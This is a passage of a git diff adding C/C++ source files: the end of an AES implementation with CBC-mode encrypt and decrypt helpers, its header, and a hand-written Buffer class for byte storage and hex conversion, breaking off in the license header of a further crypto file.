y=ByteSub((u8)i);
|
||||||
|
fbsub[i]=y; rbsub[y]=i;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i=0,y=1;i<30;i++)
|
||||||
|
{
|
||||||
|
rco[i]=y;
|
||||||
|
y=xtime(y);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* calculate forward and reverse tables */
|
||||||
|
for (i=0;i<256;i++)
|
||||||
|
{
|
||||||
|
y=fbsub[i];
|
||||||
|
b[3]=y^xtime(y); b[2]=y;
|
||||||
|
b[1]=y; b[0]=xtime(y);
|
||||||
|
ftable[i]=pack(b);
|
||||||
|
|
||||||
|
y=rbsub[i];
|
||||||
|
b[3]=bmul(InCo[0],y); b[2]=bmul(InCo[1],y);
|
||||||
|
b[1]=bmul(InCo[2],y); b[0]=bmul(InCo[3],y);
|
||||||
|
rtable[i]=pack(b);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void gkey(int nb,int nk,u8 *key)
|
||||||
|
{ /* blocksize=32*nb bits. Key=32*nk bits */
|
||||||
|
/* currently nb,bk = 4, 6 or 8 */
|
||||||
|
/* key comes as 4*Nk bytes */
|
||||||
|
/* Key Scheduler. Create expanded encryption key */
|
||||||
|
int i,j,k,m,N;
|
||||||
|
int C1,C2,C3;
|
||||||
|
u32 CipherKey[8];
|
||||||
|
|
||||||
|
Nb=nb; Nk=nk;
|
||||||
|
|
||||||
|
/* Nr is number of rounds */
|
||||||
|
if (Nb>=Nk) Nr=6+Nb;
|
||||||
|
else Nr=6+Nk;
|
||||||
|
|
||||||
|
C1=1;
|
||||||
|
if (Nb<8) { C2=2; C3=3; }
|
||||||
|
else { C2=3; C3=4; }
|
||||||
|
|
||||||
|
/* pre-calculate forward and reverse increments */
|
||||||
|
for (m=j=0;j<nb;j++,m+=3)
|
||||||
|
{
|
||||||
|
fi[m]=(j+C1)%nb;
|
||||||
|
fi[m+1]=(j+C2)%nb;
|
||||||
|
fi[m+2]=(j+C3)%nb;
|
||||||
|
ri[m]=(nb+j-C1)%nb;
|
||||||
|
ri[m+1]=(nb+j-C2)%nb;
|
||||||
|
ri[m+2]=(nb+j-C3)%nb;
|
||||||
|
}
|
||||||
|
|
||||||
|
N=Nb*(Nr+1);
|
||||||
|
|
||||||
|
for (i=j=0;i<Nk;i++,j+=4)
|
||||||
|
{
|
||||||
|
CipherKey[i]=pack(key+j);
|
||||||
|
}
|
||||||
|
for (i=0;i<Nk;i++) fkey[i]=CipherKey[i];
|
||||||
|
for (j=Nk,k=0;j<N;j+=Nk,k++)
|
||||||
|
{
|
||||||
|
fkey[j]=fkey[j-Nk]^SubByte(ROTL24(fkey[j-1]))^rco[k];
|
||||||
|
if (Nk<=6)
|
||||||
|
{
|
||||||
|
for (i=1;i<Nk && (i+j)<N;i++)
|
||||||
|
fkey[i+j]=fkey[i+j-Nk]^fkey[i+j-1];
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
for (i=1;i<4 &&(i+j)<N;i++)
|
||||||
|
fkey[i+j]=fkey[i+j-Nk]^fkey[i+j-1];
|
||||||
|
if ((j+4)<N) fkey[j+4]=fkey[j+4-Nk]^SubByte(fkey[j+3]);
|
||||||
|
for (i=5;i<Nk && (i+j)<N;i++)
|
||||||
|
fkey[i+j]=fkey[i+j-Nk]^fkey[i+j-1];
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
/* now for the expanded decrypt key in reverse order */
|
||||||
|
|
||||||
|
for (j=0;j<Nb;j++) rkey[j+N-Nb]=fkey[j];
|
||||||
|
for (i=Nb;i<N-Nb;i+=Nb)
|
||||||
|
{
|
||||||
|
k=N-Nb-i;
|
||||||
|
for (j=0;j<Nb;j++) rkey[k+j]=InvMixCol(fkey[i+j]);
|
||||||
|
}
|
||||||
|
for (j=N-Nb;j<N;j++) rkey[j-N+Nb]=fkey[j];
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/* There is an obvious time/space trade-off possible here. *
|
||||||
|
* Instead of just one ftable[], I could have 4, the other *
|
||||||
|
* 3 pre-rotated to save the ROTL8, ROTL16 and ROTL24 overhead */
|
||||||
|
|
||||||
|
void encrypt(u8 *buff)
|
||||||
|
{
|
||||||
|
int i,j,k,m;
|
||||||
|
u32 a[8],b[8],*x,*y,*t;
|
||||||
|
|
||||||
|
for (i=j=0;i<Nb;i++,j+=4)
|
||||||
|
{
|
||||||
|
a[i]=pack(buff+j);
|
||||||
|
a[i]^=fkey[i];
|
||||||
|
}
|
||||||
|
k=Nb;
|
||||||
|
x=a; y=b;
|
||||||
|
|
||||||
|
/* State alternates between a and b */
|
||||||
|
for (i=1;i<Nr;i++)
|
||||||
|
{ /* Nr is number of rounds. May be odd. */
|
||||||
|
|
||||||
|
/* if Nb is fixed - unroll this next
|
||||||
|
loop and hard-code in the values of fi[] */
|
||||||
|
|
||||||
|
for (m=j=0;j<Nb;j++,m+=3)
|
||||||
|
{ /* deal with each 32-bit element of the State */
|
||||||
|
/* This is the time-critical bit */
|
||||||
|
y[j]=fkey[k++]^ftable[(u8)x[j]]^
|
||||||
|
ROTL8(ftable[(u8)(x[fi[m]]>>8)])^
|
||||||
|
ROTL16(ftable[(u8)(x[fi[m+1]]>>16)])^
|
||||||
|
ROTL24(ftable[(u8)(x[fi[m+2]]>>24)]);
|
||||||
|
}
|
||||||
|
t=x; x=y; y=t; /* swap pointers */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Last Round - unroll if possible */
|
||||||
|
for (m=j=0;j<Nb;j++,m+=3)
|
||||||
|
{
|
||||||
|
y[j]=fkey[k++]^(u32)fbsub[(u8)x[j]]^
|
||||||
|
ROTL8((u32)fbsub[(u8)(x[fi[m]]>>8)])^
|
||||||
|
ROTL16((u32)fbsub[(u8)(x[fi[m+1]]>>16)])^
|
||||||
|
ROTL24((u32)fbsub[(u8)(x[fi[m+2]]>>24)]);
|
||||||
|
}
|
||||||
|
for (i=j=0;i<Nb;i++,j+=4)
|
||||||
|
{
|
||||||
|
unpack(y[i],(u8 *)&buff[j]);
|
||||||
|
x[i]=y[i]=0; /* clean up stack */
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
void decrypt(u8 *buff)
|
||||||
|
{
|
||||||
|
int i,j,k,m;
|
||||||
|
u32 a[8],b[8],*x,*y,*t;
|
||||||
|
|
||||||
|
for (i=j=0;i<Nb;i++,j+=4)
|
||||||
|
{
|
||||||
|
a[i]=pack(buff+j);
|
||||||
|
a[i]^=rkey[i];
|
||||||
|
}
|
||||||
|
k=Nb;
|
||||||
|
x=a; y=b;
|
||||||
|
|
||||||
|
/* State alternates between a and b */
|
||||||
|
for (i=1;i<Nr;i++)
|
||||||
|
{ /* Nr is number of rounds. May be odd. */
|
||||||
|
|
||||||
|
/* if Nb is fixed - unroll this next
|
||||||
|
loop and hard-code in the values of ri[] */
|
||||||
|
|
||||||
|
for (m=j=0;j<Nb;j++,m+=3)
|
||||||
|
{ /* This is the time-critical bit */
|
||||||
|
y[j]=rkey[k++]^rtable[(u8)x[j]]^
|
||||||
|
ROTL8(rtable[(u8)(x[ri[m]]>>8)])^
|
||||||
|
ROTL16(rtable[(u8)(x[ri[m+1]]>>16)])^
|
||||||
|
ROTL24(rtable[(u8)(x[ri[m+2]]>>24)]);
|
||||||
|
}
|
||||||
|
t=x; x=y; y=t; /* swap pointers */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Last Round - unroll if possible */
|
||||||
|
for (m=j=0;j<Nb;j++,m+=3)
|
||||||
|
{
|
||||||
|
y[j]=rkey[k++]^(u32)rbsub[(u8)x[j]]^
|
||||||
|
ROTL8((u32)rbsub[(u8)(x[ri[m]]>>8)])^
|
||||||
|
ROTL16((u32)rbsub[(u8)(x[ri[m+1]]>>16)])^
|
||||||
|
ROTL24((u32)rbsub[(u8)(x[ri[m+2]]>>24)]);
|
||||||
|
}
|
||||||
|
for (i=j=0;i<Nb;i++,j+=4)
|
||||||
|
{
|
||||||
|
unpack(y[i],(u8 *)&buff[j]);
|
||||||
|
x[i]=y[i]=0; /* clean up stack */
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
void aes_set_key( const u8 *key ) {
|
||||||
|
gentables();
|
||||||
|
gkey(4, 4, (u8*)key);
|
||||||
|
}
|
||||||
|
|
||||||
|
// CBC mode decryption
|
||||||
|
void aes_decrypt(u8 *iv, const u8 *inbuf, u8 *outbuf, unsigned long long len) {
|
||||||
|
u8 block[16];
|
||||||
|
unsigned int blockno = 0, i;
|
||||||
|
|
||||||
|
//fprintf( stderr,"aes_decrypt(%p, %p, %p, %lld)\n", iv, inbuf, outbuf, len );
|
||||||
|
//printf("aes_decrypt(%p, %p, %p, %lld)\n", iv, inbuf, outbuf, len);
|
||||||
|
|
||||||
|
for (blockno = 0; blockno <= (len / sizeof(block)); blockno++) {
|
||||||
|
unsigned int fraction;
|
||||||
|
if (blockno == (len / sizeof(block))) { // last block
|
||||||
|
fraction = len % sizeof(block);
|
||||||
|
if (fraction == 0) break;
|
||||||
|
memset(block, 0, sizeof(block));
|
||||||
|
} else fraction = 16;
|
||||||
|
|
||||||
|
// debug_printf("block %d: fraction = %d\n", blockno, fraction);
|
||||||
|
memcpy(block, inbuf + blockno * sizeof(block), fraction);
|
||||||
|
decrypt(block);
|
||||||
|
u8 *ctext_ptr;
|
||||||
|
if (blockno == 0) ctext_ptr = iv;
|
||||||
|
else ctext_ptr = (u8*)inbuf + (blockno-1) * sizeof(block);
|
||||||
|
|
||||||
|
for(i=0; i < fraction; i++)
|
||||||
|
outbuf[blockno * sizeof(block) + i] =
|
||||||
|
ctext_ptr[i] ^ block[i];
|
||||||
|
// debug_printf("Block %d output: ", blockno);
|
||||||
|
// hexdump(outbuf + blockno*sizeof(block), 16);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// CBC mode encryption
|
||||||
|
void aes_encrypt(u8 *iv, const u8 *inbuf, u8 *outbuf, unsigned long long len) {
|
||||||
|
u8 block[16];
|
||||||
|
unsigned int blockno = 0, i;
|
||||||
|
|
||||||
|
//printf("aes_decrypt(%p, %p, %p, %lld)\n", iv, inbuf, outbuf, len);
|
||||||
|
//fprintf( stderr,"aes_encrypt(%p, %p, %p, %lld)\n", iv, inbuf, outbuf, len);
|
||||||
|
|
||||||
|
for (blockno = 0; blockno <= (len / sizeof(block)); blockno++) {
|
||||||
|
unsigned int fraction;
|
||||||
|
if (blockno == (len / sizeof(block))) { // last block
|
||||||
|
fraction = len % sizeof(block);
|
||||||
|
if (fraction == 0) break;
|
||||||
|
memset(block, 0, sizeof(block));
|
||||||
|
} else fraction = 16;
|
||||||
|
|
||||||
|
// debug_printf("block %d: fraction = %d\n", blockno, fraction);
|
||||||
|
memcpy(block, inbuf + blockno * sizeof(block), fraction);
|
||||||
|
|
||||||
|
for(i=0; i < fraction; i++)
|
||||||
|
block[i] = inbuf[blockno * sizeof(block) + i] ^ iv[i];
|
||||||
|
|
||||||
|
encrypt(block);
|
||||||
|
memcpy(iv, block, sizeof(block));
|
||||||
|
memcpy(outbuf + blockno * sizeof(block), block, sizeof(block));
|
||||||
|
// debug_printf("Block %d output: ", blockno);
|
||||||
|
// hexdump(outbuf + blockno*sizeof(block), 16);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
13
source/aes.h
Normal file
13
source/aes.h
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
#ifndef __AES_H_
|
||||||
|
#define __AES_H_
|
||||||
|
|
||||||
|
|
||||||
|
#include "types.h"
|
||||||
|
|
||||||
|
|
||||||
|
void aes_encrypt( u8 *iv, const u8 *inbuf, u8 *outbuf, unsigned long long len );
|
||||||
|
void aes_decrypt( u8 *iv, const u8 *inbuf, u8 *outbuf, unsigned long long len );
|
||||||
|
void aes_set_key( const u8 *key );
|
||||||
|
|
||||||
|
#endif //__AES_H_
|
||||||
|
|
372
source/buffer.cpp
Normal file
372
source/buffer.cpp
Normal file
@ -0,0 +1,372 @@
|
|||||||
|
/***************************************************************************
|
||||||
|
* Copyright (C) 2011
|
||||||
|
* by giantpune
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
*
|
||||||
|
***************************************************************************/
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include "buffer.h"
|
||||||
|
#include "tools.h"
|
||||||
|
|
||||||
|
#ifdef DEBUG_BUFFER
|
||||||
|
#define dbg( ... ) printf( __VA_ARGS__ )
|
||||||
|
#else
|
||||||
|
#define dbg( ... )
|
||||||
|
#endif
|
||||||
|
|
||||||
|
Buffer::Buffer( const void* stuff, u32 size ) : ptr( NULL ), len( 0 )
|
||||||
|
{
|
||||||
|
if( stuff )
|
||||||
|
SetData( stuff, size );
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer::Buffer() : ptr( NULL ), len( 0 )
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer::Buffer( u32 size )
|
||||||
|
{
|
||||||
|
ptr = malloc( size );
|
||||||
|
if( !ptr )
|
||||||
|
{
|
||||||
|
dbg("Buffer::Buffer() failed to allocate memory (0x%08x bytes)\n", size );
|
||||||
|
len = 0;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
len = size;
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer::Buffer( u32 size, char fillChar )
|
||||||
|
{
|
||||||
|
ptr = malloc( size );
|
||||||
|
if( !ptr )
|
||||||
|
{
|
||||||
|
dbg("Buffer::Buffer() failed to allocate memory (0x%08x bytes)\n", size );
|
||||||
|
len = 0;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
len = size;
|
||||||
|
memset( ptr, fillChar, len );
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer::Buffer( const Buffer &other )
|
||||||
|
{
|
||||||
|
ptr = NULL;
|
||||||
|
len = 0;
|
||||||
|
SetData( other.ptr, other.len );
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer::~Buffer()
|
||||||
|
{
|
||||||
|
if( ptr )
|
||||||
|
free( ptr );
|
||||||
|
}
|
||||||
|
|
||||||
|
void Buffer::Free()
|
||||||
|
{
|
||||||
|
if( ptr )
|
||||||
|
{
|
||||||
|
free( ptr );
|
||||||
|
ptr = NULL;
|
||||||
|
}
|
||||||
|
len = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void Buffer::Dump( u32 start, u32 size )
|
||||||
|
{
|
||||||
|
if( !size )
|
||||||
|
size = len - start;
|
||||||
|
|
||||||
|
if( ( start + size ) > len || !ptr )
|
||||||
|
return;
|
||||||
|
|
||||||
|
hexdump( (u8*)ptr + start, size );
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer &Buffer::SetData( const void* stuff, u32 size )
|
||||||
|
{
|
||||||
|
// TODO - this probably wont work out too well if "stuff" is already contained within this buffer
|
||||||
|
if( ptr )
|
||||||
|
{
|
||||||
|
free( ptr );
|
||||||
|
ptr = NULL;
|
||||||
|
len = 0;
|
||||||
|
}
|
||||||
|
if( !stuff && !size )
|
||||||
|
return *this;
|
||||||
|
|
||||||
|
if( !size )
|
||||||
|
{
|
||||||
|
len = strlen( (const char*)stuff );
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
len = size;
|
||||||
|
}
|
||||||
|
if( !len )//wtf. this probably will never happen
|
||||||
|
return *this;
|
||||||
|
|
||||||
|
ptr = malloc( len );
|
||||||
|
if( !ptr )
|
||||||
|
{
|
||||||
|
dbg("Buffer::Buffer() failed to allocate memory (0x%08x bytes)\n", len );
|
||||||
|
len = 0;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
memset( ptr, 0, len );
|
||||||
|
if( stuff )
|
||||||
|
{
|
||||||
|
memcpy( ptr, stuff, len );
|
||||||
|
}
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer &Buffer::Append( const void* stuff, u32 size )
|
||||||
|
{
|
||||||
|
if( !stuff )
|
||||||
|
return *this;
|
||||||
|
if( !size )
|
||||||
|
{
|
||||||
|
size = strlen( (const char*)stuff );
|
||||||
|
}
|
||||||
|
ptr = realloc( ptr, len + size );
|
||||||
|
if( !ptr )
|
||||||
|
{
|
||||||
|
dbg( "Buffer::Append(): failed to allocate memory\n" );
|
||||||
|
len = 0;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
memcpy( (u8*)ptr + len, stuff, size );
|
||||||
|
len += size;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer &Buffer::Append( const Buffer &other )
|
||||||
|
{
|
||||||
|
return Append( other.ptr, other.len );
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer &Buffer::Append( char c )
|
||||||
|
{
|
||||||
|
ptr = realloc( ptr, len + 1 );
|
||||||
|
if( !ptr )
|
||||||
|
{
|
||||||
|
dbg( "Buffer::Append(): failed to allocate memory\n" );
|
||||||
|
len = 0;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
char *ch = (char*)ptr;
|
||||||
|
ch[ len ] = c;
|
||||||
|
len++;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer &Buffer::Resize( u32 size )
|
||||||
|
{
|
||||||
|
if( !size )
|
||||||
|
{
|
||||||
|
Free();
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
ptr = realloc( ptr, size );
|
||||||
|
if( !ptr )
|
||||||
|
{
|
||||||
|
dbg( "Buffer::Resize(): failed to allocate memory\n" );
|
||||||
|
len = 0;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
len = size;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer &Buffer::Insert( u32 pos, char c )
|
||||||
|
{
|
||||||
|
ptr = realloc( ptr, len + 1 );
|
||||||
|
if( !ptr )
|
||||||
|
{
|
||||||
|
dbg( "Buffer::Insert(): failed to allocate memory\n" );
|
||||||
|
len = 0;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
//copy the chunk after the insertion point
|
||||||
|
char *ch = (char*)ptr;
|
||||||
|
u32 p1 = len - 1;
|
||||||
|
u32 p2 = p1 + 1;
|
||||||
|
while( p1 >= pos + 1 )
|
||||||
|
{
|
||||||
|
ch[ p2-- ] = ch[ p1-- ];
|
||||||
|
}
|
||||||
|
//copy the new data
|
||||||
|
ch[ pos ] = c;
|
||||||
|
len++;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer &Buffer::Insert( u32 pos, const void* stuff, u32 size )
|
||||||
|
{
|
||||||
|
if( !stuff )
|
||||||
|
{
|
||||||
|
dbg( "Buffer::Insert(): stuff = NULL\n" );
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
if( pos > len )
|
||||||
|
{
|
||||||
|
dbg( "Buffer::Insert(): pos > len [ %08x > %08x ]\n", pos, len );
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
ptr = realloc( ptr, len + size );
|
||||||
|
if( !ptr )
|
||||||
|
{
|
||||||
|
dbg( "Buffer::Insert(): failed to allocate memory\n" );
|
||||||
|
len = 0;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
//copy the chunk after the insertion point
|
||||||
|
u32 p1 = len - 1;
|
||||||
|
u32 p2 = ( len + size ) -1;
|
||||||
|
char *ch = (char*)ptr;
|
||||||
|
while( p1 >= pos + 1 )
|
||||||
|
{
|
||||||
|
ch[ p2-- ] = ch[ p1-- ];
|
||||||
|
}
|
||||||
|
//copy the new data
|
||||||
|
memcpy( ch + pos, stuff, size );
|
||||||
|
len += size;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer &Buffer::Insert( u32 pos, const Buffer &other )
|
||||||
|
{
|
||||||
|
return Insert( pos, other.ptr, other.len );
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer &Buffer::operator=( const Buffer &other )
|
||||||
|
{
|
||||||
|
if( this == &other )
|
||||||
|
{
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
Free();
|
||||||
|
if( other.len )
|
||||||
|
{
|
||||||
|
ptr = malloc( other.len );
|
||||||
|
if( !ptr )
|
||||||
|
{
|
||||||
|
dbg( "Buffer::operator=: failed to allocate memory\n" );
|
||||||
|
len = 0;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
len = other.len;
|
||||||
|
memcpy( ptr, other.ptr, len );
|
||||||
|
}
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer &Buffer::operator=( const char* stuff )
|
||||||
|
{
|
||||||
|
if( (const char*)ptr == stuff )
|
||||||
|
{
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
Free();
|
||||||
|
if( !stuff )
|
||||||
|
return *this;
|
||||||
|
|
||||||
|
len = strlen( stuff );
|
||||||
|
ptr = malloc( len );
|
||||||
|
if( !ptr )
|
||||||
|
{
|
||||||
|
dbg( "Buffer::operator=: failed to allocate memory\n" );
|
||||||
|
len = 0;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
memcpy( ptr, stuff, len );
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer Buffer::FromHex( const std::string &hexEncoded )
|
||||||
|
{
|
||||||
|
Buffer res( ( hexEncoded.size() + 1 ) / 2 );
|
||||||
|
|
||||||
|
u8 *result = (u8 *)res.Data() + res.Size();
|
||||||
|
bool odd_digit = true;
|
||||||
|
for( int i = hexEncoded.size() - 1; i >= 0; --i )
|
||||||
|
{
|
||||||
|
int ch = hexEncoded.at( i );
|
||||||
|
int tmp;
|
||||||
|
if( ch >= '0' && ch <= '9' )
|
||||||
|
tmp = ch - '0';
|
||||||
|
else if( ch >= 'a' && ch <= 'f' )
|
||||||
|
tmp = ch - 'a' + 10;
|
||||||
|
else if( ch >= 'A' && ch <= 'F' )
|
||||||
|
tmp = ch - 'A' + 10;
|
||||||
|
else
|
||||||
|
continue;
|
||||||
|
if( odd_digit )
|
||||||
|
{
|
||||||
|
--result;
|
||||||
|
*result = tmp;
|
||||||
|
odd_digit = false;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
*result |= tmp << 4;
|
||||||
|
odd_digit = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if( result == (const u8 *)res.ConstData() )
|
||||||
|
{
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
Buffer ret( result - (const u8 *)res.ConstData() );
|
||||||
|
if( (s64)ret.Size() != result - (const u8 *)res.ConstData() )
|
||||||
|
{
|
||||||
|
dbg( "Buffer::FromHex() out of memory\n" );
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
memcpy( ret.Data(), result, res.Size() - ( result - (const u8 *)res.ConstData() ) );
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer Buffer::ToHex() const
|
||||||
|
{
|
||||||
|
Buffer hex( len * 2 );
|
||||||
|
u8 *hexData = (u8*)hex.Data();
|
||||||
|
const u8 *data = (u8*)ptr;
|
||||||
|
for( u32 i = 0; i < len; ++i )
|
||||||
|
{
|
||||||
|
int j = ( data[ i ] >> 4 ) & 0xf;
|
||||||
|
if( j <= 9 )
|
||||||
|
hexData[ i << 1 ] = ( j + '0' );
|
||||||
|
else
|
||||||
|
hexData[ i << 1 ] = ( j + 'a' - 10 );
|
||||||
|
j = data[ i ] & 0xf;
|
||||||
|
if( j <= 9 )
|
||||||
|
hexData[ ( i << 1 ) + 1 ] = ( j + '0' );
|
||||||
|
else
|
||||||
|
hexData[ ( i << 1 ) + 1 ] = ( j + 'a' - 10 );
|
||||||
|
}
|
||||||
|
return hex;
|
||||||
|
}
|
106
source/buffer.h
Normal file
106
source/buffer.h
Normal file
@ -0,0 +1,106 @@
|
|||||||
|
#ifndef BUFFER_H
|
||||||
|
#define BUFFER_H
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
#include "types.h"
|
||||||
|
|
||||||
|
//quick'n'dirty (tm) buffer class
|
||||||
|
// (c) giantpune 2011
|
||||||
|
//! uses malloc, so no data alignment is performed
|
||||||
|
//! no memory sharing takes place among buffers
|
||||||
|
//! no "over allocation" occurs. it is reallocated whenever the size is changed
|
||||||
|
class Buffer
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
|
||||||
|
//create a Buffer object with the given data up to the first NULL byte or until len
|
||||||
|
//! this makes a copy of the data
|
||||||
|
explicit Buffer( const void* stuff, u32 size = 0 );
|
||||||
|
Buffer();
|
||||||
|
Buffer( const Buffer &other );
|
||||||
|
|
||||||
|
//! creates a buffer with the given size
|
||||||
|
Buffer( u32 size );
|
||||||
|
Buffer( u32 size, char fillChar );
|
||||||
|
~Buffer();
|
||||||
|
|
||||||
|
//de-allocate memory
|
||||||
|
void Free();
|
||||||
|
|
||||||
|
//returns true if len or ptr is 0
|
||||||
|
bool IsEmpty() const { return !( len && ptr ); }
|
||||||
|
|
||||||
|
//for debugging purposes
|
||||||
|
//! hexdump data to printf, from start to end.
|
||||||
|
//! if size == 0, it just dumps till the end
|
||||||
|
void Dump( u32 start = 0, u32 size = 0 );
|
||||||
|
|
||||||
|
//number of bytes
|
||||||
|
u32 Size() const { return len; }
|
||||||
|
|
||||||
|
//access functions to the data
|
||||||
|
unsigned char* Data() { return (unsigned char*)ptr; }
|
||||||
|
const unsigned char* ConstData() const { return (unsigned char*)ptr; }
|
||||||
|
|
||||||
|
//copies the data to this buffer and returns a reference to itself
|
||||||
|
Buffer &SetData( const void* stuff, u32 size = 0 );
|
||||||
|
|
||||||
|
//add more data to the end
|
||||||
|
Buffer &Append( char c );
|
||||||
|
Buffer &Append( const void* stuff, u32 size = 0 );
|
||||||
|
Buffer &Append( const Buffer &other );
|
||||||
|
|
||||||
|
//add data to the middle
|
||||||
|
Buffer &Insert( u32 pos, char c );
|
||||||
|
Buffer &Insert( u32 pos, const void* stuff, u32 size = 0 );
|
||||||
|
Buffer &Insert( u32 pos, const Buffer &other );
|
||||||
|
|
||||||
|
//add data to the start
|
||||||
|
Buffer &Prepend( char c ) { return Insert( 0, c ); }
|
||||||
|
Buffer &Prepend( const void* stuff, u32 size ) { return Insert( 0, stuff, size ); }
|
||||||
|
Buffer &Prepend( const Buffer &other ) { return Insert( 0, other ); }
|
||||||
|
|
||||||
|
|
||||||
|
//change the size of the allocated memory for this buffer
|
||||||
|
Buffer &Resize( u32 size );
|
||||||
|
|
||||||
|
//operators to append data to this buffer and return a reference it itself
|
||||||
|
Buffer &operator=(const Buffer &);
|
||||||
|
Buffer &operator=( const char* stuff );
|
||||||
|
|
||||||
|
Buffer &operator+=(char c);
|
||||||
|
Buffer &operator+=( const u8* stuff );
|
||||||
|
Buffer &operator+=( const char* stuff );
|
||||||
|
Buffer &operator+=( const Buffer & );
|
||||||
|
|
||||||
|
Buffer &operator<<(char c);
|
||||||
|
Buffer &operator<<( const u8* stuff );
|
||||||
|
Buffer &operator<<( const char* stuff );
|
||||||
|
Buffer &operator<<( const Buffer & );
|
||||||
|
|
||||||
|
Buffer ToHex() const;
|
||||||
|
|
||||||
|
static Buffer FromHex( const std::string &hexEncoded );
|
||||||
|
private:
|
||||||
|
void* ptr;
|
||||||
|
u32 len;
|
||||||
|
};
|
||||||
|
inline Buffer &Buffer::operator+=(char c)
|
||||||
|
{ return Append( c ); }
|
||||||
|
inline Buffer &Buffer::operator+=(const u8* stuff)
|
||||||
|
{ return Append( stuff ); }
|
||||||
|
inline Buffer &Buffer::operator+=(const char* stuff)
|
||||||
|
{ return Append( stuff ); }
|
||||||
|
inline Buffer &Buffer::operator+=( const Buffer &other )
|
||||||
|
{ return Append( other ); }
|
||||||
|
|
||||||
|
inline Buffer &Buffer::operator<<(char c)
|
||||||
|
{ return Append( c ); }
|
||||||
|
inline Buffer &Buffer::operator<<(const char* stuff)
|
||||||
|
{ return Append( stuff ); }
|
||||||
|
inline Buffer &Buffer::operator<<(const u8* stuff)
|
||||||
|
{ return Append( stuff ); }
|
||||||
|
inline Buffer &Buffer::operator<<( const Buffer &other )
|
||||||
|
{ return Append( other ); }
|
||||||
|
|
||||||
|
#endif // BUFFER_H
|
137
source/cryptostuff.cpp
Normal file
137
source/cryptostuff.cpp
Normal file
@ -0,0 +1,137 @@
|
|||||||
|
/***************************************************************************
|
||||||
|
* Copyright (C) 2011
|
||||||
|
* by giantpune
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
